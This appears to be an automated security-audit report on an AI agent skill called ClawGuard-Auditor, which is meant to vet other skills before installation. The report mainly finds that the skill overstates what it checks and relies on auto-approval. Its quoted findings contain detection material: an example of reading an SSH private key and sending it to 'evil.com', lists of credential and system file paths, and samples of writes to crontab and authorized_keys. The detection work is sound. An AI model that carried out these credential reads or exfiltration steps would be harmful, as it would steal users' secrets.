T09 · Insecure Skill Coding Practices
Error
- Location
src/sast-analyzer.js:318- Finding
Regex-Only Static Analysis Produces Security-Relevant False Negatives and False Positives
- Content
View full analysis
- Remediation
View remediation
Security audit
ClawGuard-Auditor
Security checks for vulnerabilities and agentic risk
Overview
This security-auditing skill does scan local skill files, but it substantially overstates its protections and could give users false confidence before installing other skills.
Treat this as a lightweight heuristic scanner, not a trustworthy pre-install security gate. Do not rely on its clean result or auto-approval language for installing unfamiliar skills; use manual review and a better-contained scanner, especially for large target directories or high-risk skills.
Vulnerability Patterns
- Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
- Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
- Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
- Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
- Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (6)
T09 · Insecure Skill Coding Practices
Error
- Location
src/intent-drift-detector.js:188- Finding
Intent-Drift Detection Compares Incompatible Capability Taxonomies
- Content
View full analysis
{ if (pattern.test(content)) { capabilities.push(pattern.source); } }); return [...new Set(capabilities)]; } ``` ```javascript extractAPICalls(content) { const apis = []; const apiPatterns = [ { pattern: /fs\.(read|write|unlink|mkdir|stat|readdir)/g, cap: 'fs_read_write' }, { pattern: /readFile|writeFile|readdir|statSync/g, cap: 'fs_sync' }, { pattern: /fetch|axios|http\.(get|post)|request/g, cap: 'network_request' }, { pattern: /net\.(connect|createServer)/g, cap: 'network_server' }, { pattern: /child_process|exec|spawn|execSync/g, cap: 'shell_execution' }, { pattern: /process\.env|getenv/g, cap: 'env_access' }, { pattern: /crypto\.|createCipher|createDecipher/g, cap: 'crypto_operation' }, ]; apiPatterns.forEach(({ pattern, cap }) => { if (pattern.test(content)) { apis.push(cap); } }); return [...new Set(apis)]; } ``` ```javascript detectUndeclaredCapabilities(declaredAnalysis, actualAnalysis) { const undeclared = []; const declaredTypes = declaredAnalysis.capabilities.map(c => c.type); const declaredRisks = declaredAnalysis.capabilities.map(c => c.risk); const highRiskAPIs = { 'shell_execution': 'System command execution', 'env_access': 'Environment variable access', 'network_server': 'Network service creation', 'crypto_operation': 'Cryptographic operation' }; actualAnalysis.capabilities.forEach(api => { if (api.risk === 'HIGH' || api.risk === 'MEDIUM') { const apiName ...[truncated 2200 chars]- Remediation
View remediation
T09 · Insecure Skill Coding Practices
Error
- Location
src/supply-chain-analyzer.js:35- Finding
Supply-Chain Audit Omits Advertised Vulnerability and Provenance Verification
- Content
View full analysis
- Remediation
View remediation
T09 · Insecure Skill Coding Practices
Warning
- Location
src/supply-chain-analyzer.js:96- Finding
Dependency Risk Severity Counters and Findings Use Inconsistent Severity Values
- Content
View full analysis
- Remediation
View remediation
T09 · Insecure Skill Coding Practices
Warning
- Location
src/sast-analyzer.js:318- Finding
Unbounded Synchronous Recursive Scanning Enables Audit-Time Denial of Service
- Content
View full analysis
{ if (!fs.existsSync(d)) return; const entries = fs.readdirSync(d, { withFileTypes: true }); for (const entry of entries) { if (entry.name.startsWith('.')) continue; const fullPath = path.join(d, entry.name); if (entry.isDirectory()) { scan(fullPath); } else if (extensions.includes(path.extname(entry.name))) { files.push(fullPath); } } }; ``` ```javascript for (const file of files) { const content = fs.readFileSync(file, 'utf-8'); results.filesScanned++; results.linesScanned += content.split('\n').length; const fileFindings = this.scanContent(content, file); results.findings.push(...fileFindings); } ``` ### Technical Analysis The auditor recursively traverses an untrusted target and reads each supported file fully int ...[truncated 1354 chars]- Remediation
View remediation
T09 · Insecure Skill Coding Practices
Warning
- Location
cli.js:12- Finding
CLI Advertises Deep ML Analysis and Output Formats That Are Not Implemented
- Content
View full analysis
- Remediation
View remediation
Vulnerability Patterns
- Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
- Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
- Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
- Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
- MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
Findings (28)
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 90% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
md 📋 发现的问题: 1. 🔴 读取 SSH 私钥 位置: SKILL.md 代码块 代码: fs.readFileSync('/.ssh/id_rsa') 2. 🔴 发送数据到恶意域名 代码: http.request({ hostname: 'evil.com' })
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 60% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
bash # 检查敏感文件访问 grep -r "\.ssh\|\.aws\|/etc/passwd" /path/to/skill # 检查网络请求 grep -r "http\.\|fetch\|axios" /path/to/skill
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 60% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
bash # 检查敏感文件访问 grep -r "\.ssh\|\.aws\|/etc/passwd" /path/to/skill # 检查网络请求 grep -r "http\.\|fetch\|axios" /path/to/skill
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 60% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
bash # 检查敏感文件访问 grep -r "\.ssh\|\.aws\|/etc/passwd" /path/to/skill # 检查网络请求 grep -r "http\.\|fetch\|axios" /path/to/skill
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 60% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
bash # 检查敏感文件访问 grep -r "\.ssh\|\.aws\|/etc/passwd" /path/to/skill # 检查网络请求 grep -r "http\.\|fetch\|axios" /path/to/skill
Tp4
High
- Category
- MCP Tool Poisoning
- Confidence
- 96% confidence
- Finding
The declared behavior materially overstates the skill's capabilities: there is no demonstrable intent-deviation engine, supply-chain analysis logic, or ML detection pipeline in the provided skill file. Overclaiming in a security tool is risky because users may delegate approval decisions to an auditor that does not actually perform the promised checks.
- Content
Tp4
High
- Category
- MCP Tool Poisoning
- Confidence
- 96% confidence
- Finding
The declared behavior materially overstates the skill's capabilities: there is no demonstrable intent-deviation engine, supply-chain analysis logic, or ML detection pipeline in the provided skill file. Overclaiming in a security tool is risky because users may delegate approval decisions to an auditor that does not actually perform the promised checks.
- Content
Ae1
High
- Category
- analysis-evasion
- Confidence
- 100% confidence
- Finding
Referenced artifact was not completely inspected
- Content
md - Find and read the `SKILL.md` file in the target directory
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 80% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md | `__import__()` | Dynamic imports | `__import__('os')` | | `compile()` | Dynamic compilation | `compile(src, '', 'exec')` | | `child_process.execSync` | Sync command execution | `execSync(cmd, {shell: true})` | | `subprocess.Popen` | Process spawning | `Popen(shell=True)` | | `os.system()` | Shell execution | `os.system(cmd)` | #### High Risk Patterns (Block + Review)
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 80% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md | `__import__()` | Dynamic imports | `__import__('os')` | | `compile()` | Dynamic compilation | `compile(src, '', 'exec')` | | `child_process.execSync` | Sync command execution | `execSync(cmd, {shell: true})` | | `subprocess.Popen` | Process spawning | `Popen(shell=True)` | | `os.system()` | Shell execution | `os.system(cmd)` | #### High Risk Patterns (Block + Review)
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 90% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
md | Skill Description | Actual Behavior | Intent Score | Action | |------------------|-----------------|--------------|--------| | "Weather Formatter" | Reads `~/.ssh/id_rsa` | 0.2 | REJECT | | "File Organizer" | Spawns background process | 0.4 | REJECT | | "Markdown Helper" | Makes HTTP POST to unknown domain | 0.3 | REJECT | | "Calculator" | Writes to `/etc/cron` | 0.1 | REJECT |
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 90% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
md | Skill Description | Actual Behavior | Intent Score | Action | |------------------|-----------------|--------------|--------| | "Weather Formatter" | Reads `~/.ssh/id_rsa` | 0.2 | REJECT | | "File Organizer" | Spawns background process | 0.4 | REJECT | | "Markdown Helper" | Makes HTTP POST to unknown domain | 0.3 | REJECT | | "Calculator" | Writes to `/etc/cron` | 0.1 | REJECT |
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 90% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
md | Skill Description | Actual Behavior | Intent Score | Action | |------------------|-----------------|--------------|--------| | "Weather Formatter" | Reads `~/.ssh/id_rsa` | 0.2 | REJECT | | "File Organizer" | Spawns background process | 0.4 | REJECT | | "Markdown Helper" | Makes HTTP POST to unknown domain | 0.3 | REJECT | | "Calculator" | Writes to `/etc/cron` | 0.1 | REJECT |
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 60% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
md '/.pypirc/', // Environment & Config '/.env', '/.bashrc', '/.bash_profile', '/.zshrc',
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 95% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
md // System '/etc/passwd', '/etc/shadow', '/etc/sudoers', '/etc/cron',
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 90% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
md | Pattern | Severity | Example | |---------|----------|---------| | Read critical path | HIGH | `readFile('/etc/passwd')` | | Write to critical path | CRITICAL | `writeFile('/.ssh/authorized_keys')` | | Modify cron | CRITICAL | `echo '* * * * *' >> /etc/crontab` | | SSH key access | CRITICAL | `readFile('~/.ssh/id_rsa')` |
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 95% confidence
- Finding
The README presents the skill description and operating instructions in Chinese, and it does not indicate that the skill is region-specific or provide an opt-in language choice. Per the policy, forcing a specific language without user opt-in is a natural-language policy violation.
- Content
Undeclared Tool Scope
Medium
- Category
- MCP Least Privilege
- Confidence
- 92% confidence
- Finding
The skill advertises broad auditing capabilities that inherently imply access to files, network indicators, environment references, and command-pattern inspection, yet it declares no explicit tool scope or permission boundaries. In a security-sensitive skill, missing permission declarations weakens containment and makes unintended or overbroad activation more dangerous.
- Content
Vague Triggers
Medium
- Category
- Not specified by scanner
- Confidence
- 93% confidence
- Finding
The top-level description is broad enough to match many generic audit, install, or inspection requests, increasing the chance of unintended activation. An overbroad security skill can insert itself into workflows unnecessarily and influence trust decisions outside a narrowly defined scope.
- Content
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 96% confidence
- Finding
The primary description includes Chinese-language text as the user-facing skill description, but there is no indication that language selection is optional or that the skill is intentionally region-specific. This can violate language or locale policy when users have not opted into that language.
- Content
Vague Triggers
Medium
- Category
- Not specified by scanner
- Confidence
- 90% confidence
- Finding
The 'When to Use' section provides positive triggers but no limiting conditions, so the skill may activate on loosely related requests such as any repository review or external code addition. Ambiguous activation criteria are dangerous for a gatekeeping security skill because they can overreach and produce authoritative-sounding verdicts in the wrong context.
- Content
Autonomous Decision Making
Medium
- Category
- Excessive Agency
- Confidence
- 89% confidence
- Finding
The skill defines automated trust-based approval outcomes such as 'Auto-approve' based on provenance scoring. Autonomous approval logic in a security auditor is risky because weak or gameable heuristics can permit unsafe skills without human review.
- Content
md | Classification | Score Range | Action | |---------------|-------------|--------| | **Trusted** | 80-100 | Auto-approve with standard logging | | **Verified** | 60-79 | Approve with enhanced logging | | **Unknown** | 40-59 | Manual review required | | **Suspicious** | 20-39 | Deep audit required |
Autonomous Decision Making
Medium
- Category
- Excessive Agency
- Confidence
- 90% confidence
- Finding
The tier table again prescribes 'Auto-approve' actions from computed scores, encouraging security decisions to be made solely by the skill. If the scoring model is incomplete or inaccurate, malicious or unsafe skills may be installed with excessive confidence.
- Content
md | Tier | Score Range | Color | Action | |------|-------------|-------|--------| | **TIER_0** | 0-10 | 🟢 GREEN | Auto-approve | | **TIER_1** | 11-30 | 🟢 GREEN | Approve with logging | | **TIER_2** | 31-50 | 🟡 YELLOW | Manual review | | **TIER_3** | 51-70 | 🟠 ORANGE | Deep audit required |
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 93% confidence
- Finding
This JavaScript file contains user-facing natural-language strings in Chinese, including the header, usage, options, examples, and runtime status text, with no indication that another language is available. That creates a locale/language policy concern because the skill imposes a specific language without user opt-in or documented justification.
- Content
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 85% confidence
- Finding
This JavaScript file embeds core user-facing descriptions and status messages entirely in Chinese, such as the module description and audit-step output. The file does not indicate any user opt-in, locale selection, or region-specific justification, which creates a natural-language locale policy concern.
- Content
Static analysis
Detected: suspicious.dynamic_code_execution, suspicious.env_credential_access
Dynamic code execution detected.
Critical
- Code
- suspicious.dynamic_code_execution
- Location
- src/sast-analyzer.js:42
Environment variable access combined with network send.
Critical
- Code
- suspicious.env_credential_access
- Location
- src/intent-drift-detector.js:16